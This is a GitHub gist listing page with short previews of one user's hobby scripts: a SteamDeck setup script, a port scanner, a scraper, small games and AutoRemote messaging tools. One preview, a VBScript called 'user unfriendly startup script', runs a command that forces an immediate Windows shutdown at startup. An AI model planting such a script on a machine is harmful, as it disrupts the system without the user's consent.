Skip to content

Instantly share code, notes, and snippets.

View T31337's full-sized avatar

Trenton T31337

  • 1337 Software
  • In The Interwebz, For All To See And Access Equally
View GitHub Profile
@T31337
T31337 / after-update.sh
Last active May 20, 2024 19:49
setup personal SteamDeck preferences after updating SteamOS
#!/bin/bash
function installSoftware() {
read -p "Continue? (Y/N): " confirm
if [ "$confirm" == [yY] ]; then
echo -e "\e[35mInstall Predefined Additional Software Now?\e[0m"
echo -e "\e[35mSoftware To Install: git, base-devel, bc, ffmpeg, espeak, yt-dlp, android-tools, libimobiledevice, usbmuxd, devede\e[0m"
read -p "Continue? (Y/N): " confirm
if [[ "$confirm" == [yY] || "$confirm" == [yY][eE][sS] ]]; then
echo -e "\e[35mInstalling git & base-devel\e[0m"
@T31337
T31337 / PyPortScanner.py
Last active March 18, 2024 01:03
Simple PortScanner With GUI
#!/usr/bin/env python3
import tkinter.ttk,socket
from tkinter import Button,Entry,Spinbox,WORD,W,E,Label,Tk,END,messagebox,Text
'''
License:
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
@T31337
T31337 / user-unfriendly.vbs
Last active September 26, 2023 21:10
user unfriendly startup script
'User Unfriendly StartUp Script
function shutdown()
Dim objShell
Set objShell = WScript.CreateObject("WScript.Shell")
'objShell.Run "cmd /c shutdown -s -t 90"
wscript.sleep 6000
objShell.Run "cmd /c shutdown -s -t 00"
end function
Dim msg, sapi
@T31337
T31337 / quoteScrape.py
Created September 10, 2023 05:19
Quote Scraper
#Scrape quotes using requests and BeautifulSoup4
import requests
from bs4 import BeautifulSoup
urls = ["http://qoutes.toscrape.com", "http://quotes.toscrape.com/tag/love/", "http://quotes.toscrape.com/tag/inspirational/", "http://quotes.toscrape.com/tag/humor/"]
for page in urls:
html = requests.get(page)
soup = BeautifulSoup(html.text, "html.parser")
quotes = soup.find_all("span",class_="text")
@T31337
T31337 / PigGame.py
Last active September 9, 2023 05:05
Pig Game Written In Python
import random
import sys
class PigGame:
MAX_SCORE = 100
scores = [0, 0]
@staticmethod
def roll():
@T31337
T31337 / ColorPicker.py
Last active August 31, 2023 03:57
ColorPicker
#Simple Color Chooser GUI That Returns Hex And RGB Values :)
from tkinter import colorchooser,Label,Button,Tk
def mColor():
mycolor = colorchooser.askcolor()
mylbl = Label(gui,text=mycolor)
mylbl.grid(row=1,column=0)
return
@T31337
T31337 / PySpider
Created July 6, 2017 04:13
Scrapy & BeautifulSoup Based Python Spider
from bs4 import BeautifulSoup, SoupStrainer
from scrapy.selector import HtmlXPathSelector
from urllib import request
import requests
from scrapy.linkextractors import LinkExtractor
import requests.utils
import scrapy.link
import scrapy
import scrapy.spiders
from scrapy.spiders.crawl import CrawlSpider, Rule
@T31337
T31337 / TimeBomb!.py
Last active July 12, 2019 20:13
PyTimeBomb!
import platform
from tkinter import *
from tkinter import messagebox
import configparser, pickle
import os, time, subprocess
# Show Debug Messages
DEBUG = True
def printDebugBanner():
@T31337
T31337 / AutoRemoteMessage
Created December 11, 2018 00:16
Send AutoRemote Message With Bash/Shell
#!/bin/bash
#This Script Will Prompt For An AutoRemote Message To Send
#Usage:
#./AutoRemoteMessage
#Don't Forget To Edit These Values To Match Your Device
PASSWORD="YOUR_DEVICE_PASSOWRD"
KEY="YOUR_DEVICE_KEY"
@T31337
T31337 / AutoRemote-Message
Created December 11, 2018 00:21
Send AutoRemote Message Bash/Shell Comand
#!/bin/bash
#This Script Will Prompt For An AutoRemote Message To Send
#Usage:
#./AutoRemote-Message MESSAGE_TO_SEND
#Don't Forget To Modify These Values To Match Your Device
PASSWORD="YOUR_DEVICE_PASSWORD"
KEY="YOUR_DEVICE_KEY"